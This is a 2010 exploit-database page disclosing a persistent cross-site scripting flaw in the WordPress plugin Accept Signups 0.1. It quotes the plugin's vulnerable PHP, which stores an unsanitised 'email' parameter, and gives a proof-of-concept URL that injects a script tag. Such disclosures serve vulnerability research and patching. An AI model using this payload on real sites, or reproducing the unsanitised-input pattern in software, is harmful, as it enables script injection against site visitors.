Home / os / win7

[webapps / 0day] - WORDPRESS Plugin Accept Signups 0.1 XSS V

Posted on 22 December 2010

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>WORDPRESS Plugin Accept Signups 0.1 XSS Vulnerabilities | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='WORDPRESS Plugin Accept Signups 0.1 XSS Vulnerabilities by clshack in webapps / 0day | Inj3ct0r 1337 - exploit database : vulnerability : 0day : shellcode' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var _gaq = _gaq || [];_gaq.push(["_setAccount", "UA-12725838-1"]);_gaq.push(["_setDomainName", "none"]);_gaq.push(["_setAllowLinker", true]);_gaq.push(["_trackPageview"]);(function(){var ga = document.createElement("script"); ga.type = "text/javascript"; ga.async = true;ga.src = ("https:" == document.location.protocol ? "https://ssl" : "http://www") + ".google-analytics.com/ga.js";var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(ga, s);})();</script></head><body><pre>======================================================= WORDPRESS Plugin Accept Signups 0.1 XSS Vulnerabilities ======================================================= # Exploit Title: WORDPRESS Plugin Accept Signups PERSISTENT XSS # Date:21/12/2010 # Author: clshack # Software Link:http://wordpress.org/extend/plugins/accept-signups/ # Version:0.1 # Tested on: wordpress 3.03 # CVE : Vulnerable code accept-signups_submit.php: require_once(&#039;../../../wp-config.php&#039;);//*addslashes* to GET and POST $e=$_GET[&#039;email&#039;]; function saveEmail($e) { global $wpdb; $tbl = &#039;`&#039; . DB_NAME . &#039;`.`&#039; . $wpdb-&gt;prefix . &#039;accept-signups`&#039;; $q = &quot;insert into &quot; .$tbl . &quot; (email, ip, timestamp) value (&#039;$e&#039;, &#039;&quot;. $_SERVER[&#039;REMOTE_ADDR&#039;] . &quot;&#039;, now());&quot;; return $wpdb-&gt;query($wpdb-&gt;prepare($q)); } Poc: http://localhost/wordpress/*wp-content/plugins/accept-signups/accept-signups_submit.php?email=clshack&lt;script&gt;alert(String.fromCharCode(72, 101, 108, 108, 111, 32, 58, 68, 32))&lt;/script&gt;* # <a href='http://1337db.com/'>1337db.com</a> [2010-12-22]</pre></body></html>

 

TOP